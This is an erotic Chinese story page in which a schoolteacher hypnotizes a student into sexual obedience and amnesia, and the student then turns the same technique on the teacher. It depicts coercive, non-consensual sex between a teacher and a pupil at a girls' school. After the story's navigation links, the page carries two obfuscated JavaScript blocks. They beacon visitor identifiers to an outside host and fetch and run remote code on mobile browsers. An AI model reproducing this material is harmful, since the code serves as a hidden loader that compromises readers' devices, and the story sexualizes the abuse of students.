“当所有的东西都准备好的时候,你就可以开始了。”玉珍老师挪了挪身体,更靠近了雅萍一点,书桌上唯一的灯光和她们有一个角度,并没有照到雅萍的眼睛,但是当玉珍老师解开了她的项炼,她发现各式各样的光芒直射入她的双眼,玉珍将项炼放在雅萍的面前,比眼睛高一点的地方,然后继续对她的诱导。

“看着这个宝石,雅萍,专心的凝视着它。”雅萍看到玉珍的项炼是一条金色的链子带着红宝石,宝石只有两、三公分大,却将折射出的光芒垄罩了雅萍的所有视线,因为宝石的角度有点高,雅萍觉得往上凝视着宝石很辛苦。

“就是这样,雅萍,凝视着这个宝石,只要专心的看着它,凝听着我的声音,感到自己完全的放松,我的声音让你感到很平静。”雅萍一点也不觉得平静,但是她让自己看起来很放松,然后玉珍又继续说着:

“当你感到自己凝视着宝石,你会更专心的看着它,觉得自己陷了进去,感觉它成长着,占据了你所有的视线……试着睁着双眼,不要眨眼……试着忘掉眼皮想要闭起来的重量……只要看着宝石并且听着我的声音……听着我的声音,让你觉得很平静、很放松……你喜欢我的声音……听着我的声音让你感觉很好,而凝视着宝石让你觉得愈来愈困难……感到你的眼皮愈来愈重……这个宝石占据了你所有的视线……慢慢的闭起眼睛……”雅萍眨了眨眼,然后闭上了双眼。

“很好,雅萍,你做的非常好,你开始屈服了我的声音,你只能听到我的声音,听着我的声音让你觉得非常的棒,服从我的声音要你做的事情让你觉得很舒服,服从我的声音让你觉得温暖而满足,只要听着我的声音……听着我的声音……”玉珍停了下来,然后收起了项炼,她舔了下嘴唇,然后用手抚摸着自己的乳头,这让她觉得很兴奋,但她必须更专心一点,她要将雅萍带入更深的催眠。

“很好,雅萍,你觉得自己好像飘浮在云里,不断的陷入温暖的空气中,听着我的声音,带你进入更深更深的放松,你会感到愈来愈温暖,你觉得所有的烦恼都远去了,所有的悲伤都消失了,听着我的声音,仔细的听着我的每一句话,放松你自己的心灵,你会服从我的声音的每一个指示,你了解吗?”

“了解。”雅萍用着单调的声音说着,玉珍从不会对这种感觉感到厌烦,当她得到她们、占有她们、控制她们,她按摩着自己的乳头,发出了轻轻的呻吟,很快就会有人帮她,但是她要让雅萍进入更深的催眠,让雅萍完全受她的控制。

“你进入了很深的催眠状态,雅萍,你只能做我告诉你的事情,你只能服从我的指示,你感到自己搭乘着电梯,电梯正在下降,当电梯下降,你也会感到自己进入了更深的催眠,更深的被我控制着,更深更深的被催眠着,你可以看到电梯显示的数字……三十……二十九……二十八……”

“二十七……二十六……”雅萍继续数着。

“当你数着数字,你会放心的将自己交给我,你发现你愈来愈无法思考,只能服从我的声音。”

“二十一……二十……”

“你会毫无疑问的做我要你做的事情,毫不犹豫的服从我的命令,只有我可以这样命令你,你只会服从我的指示,当其他人想要催眠你的时候,你会拒绝并且离开。”

“十五……十四……”

“你会发现自己愈来愈难数下去,你发现所有的知觉都慢慢消失了,发现自己在一个温暖而黑暗的地方,在那里你唯一能感觉到的只有我的声音。”

“十……九……八……七……六……五……四……三……二……一……”雅萍的声音愈来愈低,玉珍看着她新的猎物,感到一如往常的兴奋,她有点讶异雅萍竟然能一直数到一,平常都会更早就没有声音的,但她相信雅萍也已经准备好了。

“你是我的,雅萍,当你进入这种状态的时候,你会明白我是你的主人,当你听到我,而且只有我说‘想看我的项炼吗?’,你才会进入催眠状态,如果我拿着项炼放在你面前,你会凝视着项炼,并且慢慢的进入催眠状态,你不会有任何被催眠的记忆,当我问你问题的时候,你会完全诚实的回答我,你了解我的指示吗?”

“是的,主人。”玉珍感到自己几乎要高潮了,自从她两年到这个学校后她已经催眠了十几个女孩了,但是她最想催眠的就是雅萍,这个女孩是这样不可置信的美丽,特别是穿着运动服和短裤,坐在那里被催眠的模样,她一直没有机会催眠她,真没想到她会来到她的房间并主动提起催眠的事情,现在到晚餐前玉珍都可以好好的享有她。

“雅萍,你曾经和女人做爱吗?”

“没有,主人。”这是意料中的答案,女子学校中很容易出现同性恋,但是雅萍绝不像其中的一个。

“雅萍,你曾经和男人做爱吗?”

“没有,主人。”这个答案就令她有点讶异,像雅萍这样美丽的女孩,竟然还没有任何男人上过她。

“雅萍,你永远不会想要和男人做爱,或着用性的角度去看男人,只有女人可以引起你的性欲,你只想和她们做爱,但是你会阻止自己,你知道自己是同性恋,但你不想表现出来,也不想告诉任何人,即使你知道另一个是同性恋的女孩也喜欢你,你只能和我做爱,你将会一直想着和我做爱,但是你只能在合适的时候来找我,就是说你不可以三更半夜跑来找我,还有,如果你到我的房间后,看到我和另一个女孩一起,你会立刻进入催眠状态等待我的指示,你都了解吗?”

“是的,主人。”

“你会完全服从吗?”

“是的,主人。”

“张开你的眼睛,但是继续留在催眠状态,当你听到我说‘是时候该回去了’,你会穿上衣服然后离开这里,去做你本来要做的事,当你离开这里你才会离开催眠状态,每走一步你都会清醒一点,当你走了三十步后就会完全的清醒过来。”雅萍坐在那里,张着双眼但完全没有表情,这个模样让玉珍感到相当的兴奋。

“雅萍,”她有点喘着气,“当我说‘开始’之后,你会站起来跟我走到床边,然后你会开始跳舞并慢慢的脱去衣服,当你跳舞的时候,我会抚摸你并亲吻你,你会回应我的每个动作,我的触碰会让你感到不可思议的快感,当我说‘结束’的时候,你才可以停止这一切,你了解吗?”

“是的,主人。”

“开始。”

雅萍和玉珍一起站了起来,然后走到了床边,玉珍坐到了床上看着雅萍,她在那里站了一下,似乎困扰着该怎么跳舞,然后她开始抚摸着自己的双腿,在那件极短的运动裤下,雅萍的大腿原本就已经暴露在外。

雅萍回想着她曾经看过里面有脱衣舞的电影,当然她从来没有做过,但她想她应该知道该怎么做,她扭动着屁股,然后弯下了腰,让自己的屁股对着玉珍,玉珍几乎快压抑不住了,她脱掉了上衣和裙子,隔着胸罩抚摸着自己的乳房,雅萍慢慢的拉下了裤子,露出了棉质的内裤,那是一件白色的内裤,上面有红色和粉红色的心型图案,是她的堂哥圣诞节给她的礼物。

“快一点!”玉珍呻吟着。

雅萍转过身来,往玉珍走去,然后将她推倒在床上,这和她刚才给她的命令好像不太一样,可是玉珍已经顾不得了,雅萍压在她的身上,然后将上衣脱了下来,她的胸罩和内裤是一套的,但对她而言似乎有点小。

玉珍再也等不及了,她坐起身来将头埋进雅萍的乳沟,将手伸到雅萍的身后急忙的想解开她胸罩的扣子,当她解开了她的胸罩后,她发现雅萍也解开了她的胸罩,玉珍看到雅萍粉红色鲜嫩的乳尖,情不自禁的吸吮起来,她的舌头很明显的感受到雅萍的乳尖兴奋的竖立着,然后她也坐起身来,让雅萍吸吮她的乳头。

那种感觉真是太美妙了,雅萍吸吮舔弄着她的乳头,然后她将手伸进雅萍的内裤里,很快的,雅萍也将手伸进了她黑色的丁字裤中。

当玉珍用手伸进她的阴穴,逗弄着她的阴核,雅萍也同样这么做着,玉珍的动作愈来愈快,没有多久,她感到一股电流窜过了身体,她拱起了背,将雅萍的头重重的压向自己,雅萍让她得到了高潮,她尖叫了出来,享受着一波波袭来的高潮,她停下了手部的动作,却发现雅萍继续抽插着她的阴道。

“结束。”玉珍喊着,然后雅萍才好像有些不情愿的慢慢停了下来。

玉珍命令雅萍不需要有任何动作,然后她让雅萍闭上眼睛躺到了床上,她的身体还因为兴奋而微微颤抖着,玉珍微笑着,脱下雅萍已经湿透的内裤,然后推开了她的双腿,将脸埋进她肿胀的阴唇。

雅萍拱起了背,抽搐着身体,玉珍熟练的口技和手指的挑逗很快的就让她不行了,她的生命中第一次尝到这种感觉,她感到体内的欲火似乎已经吞噬了她,她的每一处神经末梢都夹杂着痛苦和愉悦,她感到她高潮了,玉珍满足的看着高潮中的雅萍,从没有人给过她这种感觉,没有人敎过她这种感觉,也再不会有其他人给她这种感觉。

玉珍抱着雅萍,温柔的吻着她,雅萍也吻着玉珍,用双手拥着她,玉珍命令她的学生抱着她并抚摸她的头发,她喜欢在性交结束后享受这种感觉,雅萍照做着,这种感觉让玉珍感到非常的舒服而放松,没多久后她就沉沉的睡了过去,雅萍发觉她已经睡着了,停下了手,在心里想着:

“这到底是怎么回事?她竟然会认为她催眠了我变成她的奴隶?现在该怎么办?”

第四章

雅萍不知道玉珍老师的催眠到底是怎么回事,她只知道老师现在相信自己已经完全被她控制着,其实是因为雅萍从来没看过任何催眠表演,她的潜意识完全不了解催眠这回事。

玉珍老师都会先给班上的女孩看催眠秀的带子,然后当她要催眠她们的时候,女孩们对催眠先入为主的观念会让她们更容易被掌控,雅萍既没看到催眠诱导的过程,连后面的表演也没认真在看,所以完全没有被催眠。

虽然她还是服从了玉珍老师的命令,一开始她是觉得好玩,但是当听到玉珍老师跟她说她‘不会’记得任何被催眠的经过,她开始觉得她必须配合她才可以保护自己,她明白老师根本就没有想要敎她催眠,只是想催眠她,所以她尽可能的装做自己已经被催眠了,诚实的回答她的话,但这也让她第一次尝到了人生中美妙的体验。

玉珍老师用舌头伸进她……最私密的部位,那种天堂般的感受完全超出了雅萍的想像,她好希望能再来一次,不对,她现在应该要先想想怎么从玉珍老师这里逃出去才行,她不能让老师发现她刚才只是装的。

她看了看房间,看到桌上放着刚才玉珍老师催眠她用的红宝石,她还记得老师刚才催眠她的每个过程,突然她有了一个想法,玉珍老师对催眠很熟悉,而她现在正在床上睡着,或许……她可以催眠她的老师。

这是风险很大的选择,但是雅萍总不能一直假装自己是她的奴隶,她想不到更好的方法了,老师现在睡的这么舒服,醒来后一定还是很放松的,她一定不会对她有所提防的。

但是雅萍想了想,又觉得自己好像不该这么做,而且这个计画也不知道能不能成功,其实她要做的,应该是赶快离开这个房间,然后去找校长报告这个老师做了什么,告诉校长她被玉珍老师强暴了,可是她不这么做,也许是因为刚才的酒精作祟吧,她不要结束这一切,她还想跟玉珍老师做爱。

她想要知道刚才老师是怎么给她那么舒服的感觉的,她也很想知道自己是不是真的可以催眠别人,如果可以的话她……可以怎么样?小莉……女排的队友……美琪……雅萍不知道自己怎么会想到美琪,如果她真的有机会催眠美琪的话,她一定会……会……让她改掉那种糟透了的个性,‘是啊,’雅萍在心中想着,‘这就是我想催眠美琪的原因。’

雅萍调整了桌上台灯的角度,让她可以照到玉珍的脸上,然后她拿了项炼回到了床上,玉珍老师仍然安详的睡着,她的头发散落在枕头上,因为化妆的关系,脸蛋看起来就像个玩偶一样,她盖着一件薄毯,薄毯下的她当然还是全裸的,就像雅萍一样,雅萍试着不去想这些事,她要专心一点。

她做了一次深唿吸,跨坐到了玉珍的身上,她两只脚跪在她的胸部两侧,压住她身上的薄毯,这样她就不能动了,虽然她的双手还是自由的,雅萍也想过把她的双手也制住,但是如果玉珍老师醒来发现自己完全无法动弹,可能会惊慌起来,让催眠更不可能成功吧。

雅萍再一次确认周遭的环境,都像她被催眠时一样的完美,现在要做的就是叫醒玉珍老师,希望自己可以催眠她,雅萍先用右手拿着项炼,让那颗红宝石停留在玉珍的额头上方几公分处,然后用左手轻轻的搓揉着老师的耳朵,这是她以前学的,这样可以慢慢而且平静的叫醒一个人,因为耳朵受到的刺激会让人被唤醒,但同时这样的动作又会分泌一种脑内啡让心情平静,她一边搓揉着她的耳朵,一边缓慢而温柔的念着:

“看着这个宝石,玉珍,看着这个宝石。”

玉珍慢慢的醒了过来,她觉得自己做了个奇怪的梦:她催眠了学校里最漂亮的女孩雅萍,然后和她做爱,这个女孩显然没有任何的性经验,这让她得到了更棒的高潮,然后她睡了过去,但现在她竟然看着自己的宝石,听着一种好熟悉的声音,她觉得好像不应该这样,她想要清醒过来,但她随即发现自己已经完全的被宝石所吸引了。

“就是这样,玉珍,看着这个宝石,”雅萍继续说着,“专心的凝视着这个宝石,这个宝石美丽而闪耀着,吸引了你所有的注意,你唯一能做的只有凝视着它,但是你发现凝视着宝石愈来愈困难,你的眼皮好重、好困,你完全无法抗拒,你知道这个宝石,它可以催眠人们,而它现在正在催眠你,你知道你无法抗拒,你知道每个看着这个宝石的人都会被控制,你再也无法继续张开双眼了,闭上眼睛,让我的声音催眠你。”

玉珍眨了几下眼,然后闭上了眼睛,她内心深处有一种想抗拒的念头,但是完全的被催眠所屈服了,她知道她的宝石的力量,而且她真的困了,她感觉她的意识愈来愈模煳,当她听着她的声音……她的声音?她不应该……不应该会这样的……但很快这种想法也消失了。

“你知道这个宝石可以用来催眠人们,玉珍,你知道拿着宝石的人可以控制你。”玉珍用过宝石去控制好多的女孩,所以……是的,她必须服从,雅萍想着她应该要让玉珍进入更深的催眠状态。

“你觉得温暖而满足,听着我的声音,玉珍,当你听着我的声音,你会发现自己更深更深的被控制着,你感到自己正在一台电梯里,而电梯正在下降,电梯愈降,你就会感到自己陷的更深,每当电梯向下一层,你就会更放心的把自己交给我,我要你念出电梯的楼层,每往下一层,你就会更完全的服从我,三十……二十九……二十八……”

“二十七……”被催眠的老师继续念着,“二十六……二十五……”她再也无法思考了,她的心灵已经完全被宝石和雅萍的声音所俘虏了,她仅存的一丝抗拒的念头,随着每个数字愈来愈微弱。

“十九……十……八……十……十……”老师再没有办法数下去了,‘应该可以了吧?’雅萍想着。

“听着我的声音,你认得我的声音,你知道是谁在控制你,告诉我,谁在控制你,玉珍?”

“你控制我。”老师说着,雅萍感到一阵颤抖,‘怪不得她想催眠我,这个感觉太棒了!’雅萍在心中想着,她放下了宝石,情不自禁的用手按摩着自己的胸部,‘不行!’她又想着,‘我要专心!’

“是的,玉珍,我控制你,告诉我,我是谁?”

“雅萍。”雅萍又感到一种无法言喻的快感,她控制了她的老师!

“没错,玉珍,雅萍控制着你,当你听到雅萍说‘玉珍老师该上课了’,你就会回到催眠状态,平常你会完全清醒着,但是当你听到她说什么就会立刻回到催眠状态?”

“玉珍老师该上课了。”老师说着。

‘天啊,’雅萍想着,‘我快不行了!’她感到大腿中央分泌出了淫水,体内又好像快烧了起来,她好想马上就看到小莉!还有美琪……当然只是要让她改掉她的个性,但现在她得先处理好玉珍老师的事情。

“当你在我身边的时候,你会发现我愈来愈吸引你,当我们不在这个房间的时候,你会尽量压抑住自己的情感,但是当我们一回到这个房间,你就一刻也忍不住了,你会想尽办法勾引我、和我做爱、表现你所有取悦女人的方法,然后你也会希望我对你这么做,”雅萍感到浑身因为兴奋的颤抖着,“你了解吗?”

“了解。”老师的声音也为为发颤着。

“最后,玉珍,你将会完全忘记被催眠的记忆,你也不会记得你试着催眠我的事情,但是你会继续服从我刚才给你的命令,而且你会觉得那是完全正常的,事实上,你也不会记得我们曾做过爱,你会觉得这段时间是做了个和我一起的春梦,你喜欢这个梦,你会发现自己愈来愈渴望和我做爱,当你听到我说‘我该走了’,你就会开始从一数到三十,每数一个数字你就会更清醒一点,当你数三十就会完全清醒过来,完全忘记被催眠的事情,但是会服从我之前给你的命令,你了解吗?”雅萍感到她全身都渴望着被触碰。

“是的。”老师说着。

“你会服从吗?”

“是的。”又一次,雅萍感到兴奋的颤抖了起来,即使没有任何实体上的触碰,她也觉得自己又要高潮了,这种感受,比她之前的每一次都要强烈,‘催眠真是太有趣了!’她想着。

雅萍准备要叫醒老师,但是她又突然想到,如果玉珍醒来,对刚才的是一点记忆也没有,却看到她们都是裸体的会怎么想?最好还是先离开一下吧,她捡起了地上的衣服,虽然那件内裤已经湿淋淋的,但是她也不想换掉,那让她有一种兴奋的感觉,她穿好了衣服之后,对老师说出了唤醒她的命令,然后走出了门口,在外面默数着三十。

玉珍醒了过来,她身上什么也没穿,觉得自己好像刚享受过一次激烈的高潮,发生了什么事情?现在还只是下午而已啊,她怎么会在这里睡觉?她好像想去催眠一个学生……她慢慢想起来了,雅萍刚才还在这里,她希望能催眠雅萍然后……她没做吗?大概是因为没有机会,所以她自己手淫的到高潮后就睡着了,她这么想着,虽然她一点记忆也没有,这时突然传来了敲门的声音。

“嗯……”玉珍问着,“谁?”

“我是雅萍。”玉珍的心理翻腾着很复杂的感觉,她没有穿衣服,应该要赶快把这个女孩打发走,但是她真的好想催眠她,也许她应该要利用这次的机会?而且她觉得雅萍愈来愈吸引她,这种感觉比之前要更加的强烈,她没有办法要她走。

“请……等一下。”玉珍发现地上散落着她最‘性感’的衣服,又感到吃了一惊,接着她想着,一定是因为刚才手淫的时候,幻想着自己正在催眠一个可爱的学生,所以才会换上这套衣服,她赶紧把地上的衣服塞到角落,随便套上一件晨袍,然后去开了门。

雅萍一个人站在她的门口,穿着女排队的制服,带着很甜的笑容,这个模样让玉珍呆了好一会,她好想现在就抱紧她、吻她、将她的衣服剥光,她压抑着这种欲望,虽然这比她想像中还要困难,但如果这种事爆发了出去,她会被赶出学校的,她发觉雅萍用着有点奇怪的表情看着她。

“你不进来吗,雅萍?”她问着。

雅萍轻快的走了进来,然后好像绊了一下整个人扑倒在玉珍身上,她抱着她,手掌扶着她的臀部,而肩膀刚好顶着她的阴唇,然后雅萍捏了捏玉珍的屁股,玉珍感到一种无法言喻的兴奋,她想要这个女孩!

“对不起,玉珍老师,”雅萍说着,站起了身来,“可以吻我,和我亲热吗?”

玉珍讶异的说不出话来,她只能下意识的点了点头,然后雅萍抱住了她的脖子,两个女人的胸部紧紧的贴在一起,玉珍感到她的脸颊、她的唇,都感受到这个女孩柔软而温热的嘴唇,雅萍对她微笑着。

“玉珍老师,我这样会奇怪、很肮脏吗?”

玉珍一点也不觉得肮脏,“雅萍,”她说着,“我能帮你什么吗?”她尽量平静的说着,虽然她感到嘴唇十分的干燥,下体也不可思议的闷热着,似乎在唿唤着谁赶快满足它。

雅萍坐到了床上,交叉着双腿,她的短裤让她一双修长的双腿展露无遗,而透过被汗水浸湿的上衣,玉珍也能隐约的看到她的胸罩,天啊,她真的想要她!玉珍感到体内的欲望不断的攀升着,她一定要赶快让雅萍离开,不然她会把持不住自己的。

雅萍噘起嘴,用一种小女孩般撒娇的口气开始说着。

“我刚才一个人来这里经过走廊的时候,有一个人撞到了我,我没有看到是谁,好疼喔,真希望有人帮我看看。”这当然是她瞎掰的,她想要找一个理由让玉珍可以触碰她的身体,然后她看着玉珍露出一种很痛苦而犹豫不决的神情。

“你应该到保健室去。”她说着,但是声音有些颤抖。

“因为刚才在外面才被撞到的,”雅萍说着,“我本来就要来这里找你,谈谈我们之前在下午谈的事情,我想老师应该可以帮我处理一下……”雅萍放下了脚,站起来转过了身,“真的好痛喔。”她说着,指着她的右大腿,在臀部正下方的位置。

“这……这里……?”玉珍问着,她已经彻底的倍欲望击溃了,虽然她心中的理智告诉她要马上把这个女孩赶走,但是她却这么说着,“也许我能帮你看看有没有怎么样?”她走了过去,用手摸着雅萍的屁股。

雅萍微微弯下了腰,将屁股翘了起来,玉珍感到


上一篇:我的真实的丝袜

下一篇:人妖安妮的秘密生活


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};